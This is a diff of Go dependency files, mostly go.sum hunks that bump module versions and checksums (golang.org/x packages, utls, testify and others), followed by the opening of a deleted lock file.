golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d // indirect
|
||||
golang.org/x/tools v0.39.0 // indirect
|
||||
google.golang.org/appengine v1.6.7 // indirect
|
||||
google.golang.org/protobuf v1.33.0 // indirect
|
||||
gopkg.in/alecthomas/kingpin.v2 v2.2.6 // indirect
|
||||
gopkg.in/corvus-ch/zbase32.v1 v1.0.0 // indirect
|
||||
gopkg.in/djherbis/times.v1 v1.3.0 // indirect
|
||||
gopkg.in/yaml.v2 v2.4.0 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
moul.io/http2curl v1.0.0 // indirect
|
||||
)
|
||||
|
||||
@@ -104,8 +104,6 @@ github.com/cheggaaa/pb/v3 v3.1.4/go.mod h1:6wVjILNBaXMs8c21qRiaUM8BR82erfgau1DQ4
|
||||
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
|
||||
github.com/cloudflare/cfssl v1.6.4 h1:NMOvfrEjFfC63K3SGXgAnFdsgkmiq4kATme5BfcqrO8=
|
||||
github.com/cloudflare/cfssl v1.6.4/go.mod h1:8b3CQMxfWPAeom3zBnGJ6sd+G1NkL5TXqmDXacb+1J0=
|
||||
github.com/cloudflare/circl v1.3.7 h1:qlCDlTPz2n9fu58M0Nh1J/JzcFpfgkFHHX3O35r5vcU=
|
||||
github.com/cloudflare/circl v1.3.7/go.mod h1:sRTcRWXGLrKw6yIGJ+l7amYJFfAXbZG0kBSc8r4zxgA=
|
||||
github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08 h1:ox2F0PSMlrAAiAdknSRMDrAr8mfxPCfSZolH+/qQnyQ=
|
||||
github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08/go.mod h1:pCxVEbcm3AMg7ejXyorUXi6HQCzOIBf7zEDVPtw0/U4=
|
||||
github.com/corpix/uarand v0.2.0 h1:U98xXwud/AVuCpkpgfPF7J5TQgr7R5tqT8VZP5KWbzE=
|
||||
@@ -137,8 +135,6 @@ github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4
|
||||
github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw=
|
||||
github.com/gabriel-vasile/mimetype v1.4.2 h1:w5qFW6JKBz9Y393Y4q372O9A7cUSequkh1Q7OhCmWKU=
|
||||
github.com/gabriel-vasile/mimetype v1.4.2/go.mod h1:zApsH/mKG4w07erKIaJPFiX0Tsq9BFQgN3qGY5GnNgA=
|
||||
github.com/gaukas/godicttls v0.0.4 h1:NlRaXb3J6hAnTmWdsEKb9bcSBD6BvcIjdGdeb0zfXbk=
|
||||
github.com/gaukas/godicttls v0.0.4/go.mod h1:l6EenT4TLWgTdwslVb4sEMOCf7Bv0JAK67deKr9/NCI=
|
||||
github.com/go-logfmt/logfmt v0.6.0 h1:wGYYu3uicYdqXVgoYbvnkrPVXkuLM1p1ifugDMEdRi4=
|
||||
github.com/go-logfmt/logfmt v0.6.0/go.mod h1:WYhtIu8zTZfxdn5+rREduYbwxfcBr/Vr6KEVveWlfTs=
|
||||
github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=
|
||||
@@ -168,8 +164,8 @@ github.com/gocolly/colly/v2 v2.1.0 h1:k0DuZkDoCsx51bKpRJNEmcxcp+W5N8ziuwGaSDuFoG
|
||||
github.com/gocolly/colly/v2 v2.1.0/go.mod h1:I2MuhsLjQ+Ex+IzK3afNS8/1qP3AedHOusRPcRdC5o0=
|
||||
github.com/gofrs/uuid v3.3.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/golang-jwt/jwt/v4 v4.4.2/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
|
||||
github.com/golang-jwt/jwt/v4 v4.5.1 h1:JdqV9zKUdtaa9gdPlywC3aeoEsR681PlKC+4F5gQgeo=
|
||||
github.com/golang-jwt/jwt/v4 v4.5.1/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
|
||||
github.com/golang-jwt/jwt/v4 v4.5.2 h1:YtQM7lnr8iZ+j5q71MGKkNw9Mn7AjHM68uc9g5fXeUI=
|
||||
github.com/golang-jwt/jwt/v4 v4.5.2/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
|
||||
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
|
||||
github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
|
||||
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE=
|
||||
@@ -264,8 +260,8 @@ github.com/kennygrant/sanitize v1.2.4 h1:gN25/otpP5vAsO2djbMhF/LQX6R7+O1TB4yv8Nz
|
||||
github.com/kennygrant/sanitize v1.2.4/go.mod h1:LGsjYYtgxbetdg5owWB2mpgUL6e2nfw2eObZ0u0qvak=
|
||||
github.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A=
|
||||
github.com/klauspost/compress v1.11.4/go.mod h1:aoV0uJVorq1K+umq18yTdKaF57EivdYsUV+/s2qKfXs=
|
||||
github.com/klauspost/compress v1.16.7 h1:2mk3MPGNzKyxErAw8YaohYh69+pa4sIQSC0fPGCFR9I=
|
||||
github.com/klauspost/compress v1.16.7/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE=
|
||||
github.com/klauspost/compress v1.17.4 h1:Ej5ixsIri7BrIjBkRZLTo6ghwrEtHFk7ijlczPW4fZ4=
|
||||
github.com/klauspost/compress v1.17.4/go.mod h1:/dCuZOvVtNoHsyb+cuJD3itjs3NbnF6KH9zAO4BDxPM=
|
||||
github.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek=
|
||||
github.com/klauspost/cpuid/v2 v2.0.12/go.mod h1:g2LTdtYhdyuGPqyWyv7qRAmj1WBqxuObKfj5c0PQa7c=
|
||||
github.com/klauspost/cpuid/v2 v2.2.5 h1:0E5MSMDEoAulmXNFquVs//DdoomxaoTY1kUhbc/qbZg=
|
||||
@@ -349,8 +345,8 @@ github.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+W
|
||||
github.com/onsi/ginkgo v1.16.4 h1:29JGrr5oVBm5ulCWet69zQkzWipVXIol6ygQUe/EzNc=
|
||||
github.com/onsi/ginkgo v1.16.4/go.mod h1:dX+/inL/fNMqNlz0e9LfyB9TswhZpCVdJM/Z6Vvnwo0=
|
||||
github.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=
|
||||
github.com/onsi/gomega v1.27.6 h1:ENqfyGeS5AX/rlXDd/ETokDz93u0YufY1Pgxuy/PvWE=
|
||||
github.com/onsi/gomega v1.27.6/go.mod h1:PIQNjfQwkP3aQAH7lf7j87O/5FiNr+ZR8+ipb+qQlhg=
|
||||
github.com/onsi/gomega v1.16.0 h1:6gjqkI8iiRHMvdccRJM8rVKjCWk6ZIm6FTm3ddIe4/c=
|
||||
github.com/onsi/gomega v1.16.0/go.mod h1:HnhC7FXeEQY45zxNK3PPoIUhzk/80Xly9PcubAlGdZY=
|
||||
github.com/op/go-logging v0.0.0-20160315200505-970db520ece7/go.mod h1:HzydrMdWErDVzsI23lYNej1Htcns9BCg93Dk0bBINWk=
|
||||
github.com/pierrec/lz4 v2.6.1+incompatible h1:9UY3+iC23yxF0UfGaYrGplQ+79Rg+h/q9FV9ix19jjM=
|
||||
github.com/pierrec/lz4 v2.6.1+incompatible/go.mod h1:pdkljMzZIN41W+lC3N2tnIh5sFi+IEE17M5jbnwPHcY=
|
||||
@@ -421,10 +417,8 @@ github.com/projectdiscovery/utils v0.1.1/go.mod h1:EPuSvVIvp61nXJD5EO65vaCv82Ouh
|
||||
github.com/projectdiscovery/yamldoc-go v1.0.4 h1:eZoESapnMw6WAHiVgRwNqvbJEfNHEH148uthhFbG5jE=
|
||||
github.com/projectdiscovery/yamldoc-go v1.0.4/go.mod h1:8PIPRcUD55UbtQdcfFR1hpIGRWG0P7alClXNGt1TBik=
|
||||
github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
|
||||
github.com/quic-go/quic-go v0.48.2 h1:wsKXZPeGWpMpCGSWqOcqpW2wZYic/8T3aqiOID0/KWE=
|
||||
github.com/quic-go/quic-go v0.48.2/go.mod h1:yBgs3rWBOADpga7F+jJsb6Ybg1LSYiQvwWlLX+/6HMs=
|
||||
github.com/refraction-networking/utls v1.5.4 h1:9k6EO2b8TaOGsQ7Pl7p9w6PUhx18/ZCeT0WNTZ7Uw4o=
|
||||
github.com/refraction-networking/utls v1.5.4/go.mod h1:SPuDbBmgLGp8s+HLNc83FuavwZCFoMmExj+ltUHiHUw=
|
||||
github.com/refraction-networking/utls v1.8.1 h1:yNY1kapmQU8JeM1sSw2H2asfTIwWxIkrMJI0pRUOCAo=
|
||||
github.com/refraction-networking/utls v1.8.1/go.mod h1:jkSOEkLqn+S/jtpEHPOsVv/4V4EVnelwbMQl4vCWXAM=
|
||||
github.com/remeh/sizedwaitgroup v1.0.0 h1:VNGGFwNo/R5+MJBf6yrsr110p0m4/OX4S3DCy7Kyl5E=
|
||||
github.com/remeh/sizedwaitgroup v1.0.0/go.mod h1:3j2R4OIe/SeS6YDhICBy22RWjJC5eNCJ1V+9+NVNYlo=
|
||||
github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
@@ -433,8 +427,8 @@ github.com/rivo/uniseg v0.4.4 h1:8TfxU8dW6PdqD27gjM8MVNuicgxIjxpm4K7x4jp8sis=
|
||||
github.com/rivo/uniseg v0.4.4/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
|
||||
github.com/rocketlaunchr/google-search v1.1.6 h1:DcSluQWDWEMqo6jp6OGllMTI9SBECpSmUZFntAX4j/o=
|
||||
github.com/rocketlaunchr/google-search v1.1.6/go.mod h1:fk5J/qPpaRDjLWdFxT+dmuiqG7kxXArC7K8A+gj88Nk=
|
||||
github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8=
|
||||
github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs=
|
||||
github.com/rogpeppe/go-internal v1.10.0 h1:TMyTOH3F/DB16zRVcYyreMH6GnZZrwQVAoYjRBZyWFQ=
|
||||
github.com/rogpeppe/go-internal v1.10.0/go.mod h1:UQnix2H7Ngw/k4C5ijL5+65zddjncjaFoBhdsK/akog=
|
||||
github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc=
|
||||
github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg=
|
||||
github.com/saintfish/chardet v0.0.0-20120816061221-3af4cd4741ca/go.mod h1:uugorj2VCxiV1x+LzaIdVa9b4S4qGAcH6cbhh4qVxOU=
|
||||
@@ -477,8 +471,8 @@ github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/
|
||||
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||
github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
|
||||
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
|
||||
github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
|
||||
github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
|
||||
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
|
||||
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
|
||||
github.com/syndtr/goleveldb v1.0.0 h1:fBdIW9lB4Iz0n9khmH8w27SJ3QEJ7+IgjPEwGSZiFdE=
|
||||
github.com/syndtr/goleveldb v1.0.0/go.mod h1:ZVVdQEZoIme9iO1Ch2Jdy24qqXrMMOU6lpPAyBWyWuQ=
|
||||
github.com/temoto/robotstxt v1.1.1/go.mod h1:+1AmkuG3IYkh1kv0d2qEB9Le88ehNO0zwOr3ujewlOo=
|
||||
@@ -516,8 +510,8 @@ github.com/trivago/tgo v1.0.7 h1:uaWH/XIy9aWYWpjm2CU3RpcqZXmX2ysQ9/Go+d9gyrM=
|
||||
github.com/trivago/tgo v1.0.7/go.mod h1:w4dpD+3tzNIIiIfkWWa85w5/B77tlvdZckQ+6PkFnhc=
|
||||
github.com/ulikunitz/xz v0.5.8/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
|
||||
github.com/ulikunitz/xz v0.5.9/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
|
||||
github.com/ulikunitz/xz v0.5.11 h1:kpFauv27b6ynzBNT/Xy+1k+fK4WswhN/6PN5WhFAGw8=
|
||||
github.com/ulikunitz/xz v0.5.11/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
|
||||
github.com/ulikunitz/xz v0.5.15 h1:9DNdB5s+SgV3bQ2ApL10xRc35ck0DuIX/isZvIk+ubY=
|
||||
github.com/ulikunitz/xz v0.5.15/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
|
||||
github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw=
|
||||
github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc=
|
||||
github.com/valyala/fasttemplate v1.2.2 h1:lxLXG0uE3Qnshl9QyaK6XJxMXlQZELvChBOCmQD0Loo=
|
||||
@@ -599,8 +593,8 @@ golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5y
|
||||
golang.org/x/crypto v0.0.0-20211209193657-4570a0811e8b/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
|
||||
golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU=
|
||||
golang.org/x/crypto v0.26.0 h1:RrRspgV4mU+YwB4FYnuBoKsUapNIL5cohGAmSH3azsw=
|
||||
golang.org/x/crypto v0.26.0/go.mod h1:GY7jblb9wI+FOo5y8/S2oY4zWP07AkOJ4+jxCqdqn54=
|
||||
golang.org/x/crypto v0.46.0 h1:cKRW/pmt1pKAfetfu+RCEvjvZkA9RimPbh7bhFjGVBU=
|
||||
golang.org/x/crypto v0.46.0/go.mod h1:Evb/oLKmMraqjZ2iQTwDwvCtJkczlDuTmdJXoZVzqU0=
|
||||
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/exp v0.0.0-20240506185415-9bf2ced13842 h1:vr/HnozRka3pE4EsMEg1lgkXJkTFJCVUX+S/ZT6wYzM=
|
||||
golang.org/x/exp v0.0.0-20240506185415-9bf2ced13842/go.mod h1:XtvwrStGgqGPLc4cjQfWqZHG1YFdYs6swckp8vpsjnc=
|
||||
@@ -610,8 +604,8 @@ golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHl
|
||||
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
|
||||
golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
||||
golang.org/x/mod v0.17.0 h1:zY54UmvipHiNd+pm+m0x9KhZ9hl1/7QNMyxXbc6ICqA=
|
||||
golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
|
||||
golang.org/x/mod v0.30.0 h1:fDEXFVZ/fmCKProc/yAXXUijritrDzahmwwefnjoPFk=
|
||||
golang.org/x/mod v0.30.0/go.mod h1:lAsf5O2EvJeSFMiBxXDki7sCgAxEUcZHXoXMKT4GJKc=
|
||||
golang.org/x/net v0.0.0-20180218175443-cbe0f9307d01/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
@@ -641,20 +635,20 @@ golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
|
||||
golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc=
|
||||
golang.org/x/net v0.9.0/go.mod h1:d48xBJpPfHeWQsugry2m+kC02ZBRGRgulfHnEXEuWns=
|
||||
golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
|
||||
golang.org/x/net v0.28.0 h1:a9JDOJc5GMUJ0+UDqmLT86WiEy7iWyIhz8gz8E4e5hE=
|
||||
golang.org/x/net v0.28.0/go.mod h1:yqtgsTWOOnlGLG9GFRrK3++bGOUEkNBoHZc8MEDWPNg=
|
||||
golang.org/x/net v0.48.0 h1:zyQRTTrjc33Lhh0fBgT/H3oZq9WuvRR5gPC70xpDiQU=
|
||||
golang.org/x/net v0.48.0/go.mod h1:+ndRgGjkh8FGtu1w1FGbEC31if4VrNVMuKTgcAAnQRY=
|
||||
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
|
||||
golang.org/x/oauth2 v0.5.0/go.mod h1:9/XBHVqLaWO3/BRHs5jbpYCnOZVjj5V0ndyaAM7KB4I=
|
||||
golang.org/x/oauth2 v0.11.0 h1:vPL4xzxBM4niKCW6g9whtaWVXTJf1U5e4aZxxFx/gbU=
|
||||
golang.org/x/oauth2 v0.11.0/go.mod h1:LdF7O/8bLR/qWK9DrpXmbHLTouvRHK0SgJl0GmDBchk=
|
||||
golang.org/x/oauth2 v0.34.0 h1:hqK/t4AKgbqWkdkcAeI8XLmbK+4m4G5YeQRrmiotGlw=
|
||||
golang.org/x/oauth2 v0.34.0/go.mod h1:lzm5WQJQwKZ3nwavOZ3IS5Aulzxi68dUSgRHujetwEA=
|
||||
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.8.0 h1:3NFvSEYkUoMifnESzZl15y791HH1qU2xm6eCJU5ZPXQ=
|
||||
golang.org/x/sync v0.8.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
|
||||
golang.org/x/sync v0.19.0 h1:vV+1eWNmZ5geRlYjzm2adRgW2/mcpevXNg50YZtPCE4=
|
||||
golang.org/x/sync v0.19.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI=
|
||||
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
@@ -688,8 +682,8 @@ golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.23.0 h1:YfKFowiIMvtgl1UERQoTPPToxltDeZfbj4H7dVUCwmM=
|
||||
golang.org/x/sys v0.23.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.39.0 h1:CvCKL8MeisomCi6qNZ+wbb0DN9E5AATixKsvNtMoMFk=
|
||||
golang.org/x/sys v0.39.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
|
||||
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210220032956-6a3ed077a48d/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
@@ -699,8 +693,8 @@ golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
|
||||
golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U=
|
||||
golang.org/x/term v0.7.0/go.mod h1:P32HKFT3hSsZrRxla30E9HqToFYAQPCMs/zFMBUFqPY=
|
||||
golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
|
||||
golang.org/x/term v0.23.0 h1:F6D4vR+EHoL9/sWAWgAR1H2DcHr4PareCbAaCo1RpuU=
|
||||
golang.org/x/term v0.23.0/go.mod h1:DgV24QBUrK6jhZXl+20l6UWznPlwAHm1Q1mGHtydmSk=
|
||||
golang.org/x/term v0.38.0 h1:PQ5pkm/rLO6HnxFR7N2lJHOZX6Kez5Y1gDSJla6jo7Q=
|
||||
golang.org/x/term v0.38.0/go.mod h1:bSEAKrOT1W+VSu9TSCMtoGEOUcKxOKgl3LE5QEF/xVg=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
@@ -711,8 +705,8 @@ golang.org/x/text v0.6.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
|
||||
golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
|
||||
golang.org/x/text v0.17.0 h1:XtiM5bkSOt+ewxlOE/aE/AKEHibwj/6gvWMl9Rsh0Qc=
|
||||
golang.org/x/text v0.17.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY=
|
||||
golang.org/x/text v0.32.0 h1:ZD01bjUt1FQ9WJ0ClOL5vxgxOI/sVCNgX1YtKwcY0mU=
|
||||
golang.org/x/text v0.32.0/go.mod h1:o/rUWzghvpD5TXrTIBuJU77MTaN0ljMWE47kxGJQ7jY=
|
||||
golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk=
|
||||
golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
|
||||
@@ -727,8 +721,8 @@ golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtn
|
||||
golang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
|
||||
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
|
||||
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d h1:vU5i/LfpvrRCpgM/VPfJLg5KjxD3E+hfT1SH+d9zLwg=
|
||||
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk=
|
||||
golang.org/x/tools v0.39.0 h1:ik4ho21kwuQln40uelmciQPp9SipgNDdrafrYA4TmQQ=
|
||||
golang.org/x/tools v0.39.0/go.mod h1:JnefbkDPyD8UU2kI5fuf8ZX4/yUeh9W877ZeBONxUqQ=
|
||||
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
|
||||
-624
@@ -1,624 +0,0 @@
|
||||
schema = 3
|
||||
|
||||
[mod]
|
||||
[mod."aead.dev/minisign"]
|
||||
version = "v0.2.0"
|
||||
hash = "sha256-2a05wSk811IdX9WSfMsrAvjPe6XVXEd4cvojrV+zqJ4="
|
||||
[mod."git.mills.io/prologic/smtpd"]
|
||||
version = "v0.0.0-20210710122116-a525b76c287a"
|
||||
hash = "sha256-tbfKCLDJKAoZE3BvimQQLPn1cou2eA2wyMB0y1zPJEc="
|
||||
[mod."github.com/Knetic/govaluate"]
|
||||
version = "v3.0.1-0.20171022003610-9aa49832a739+incompatible"
|
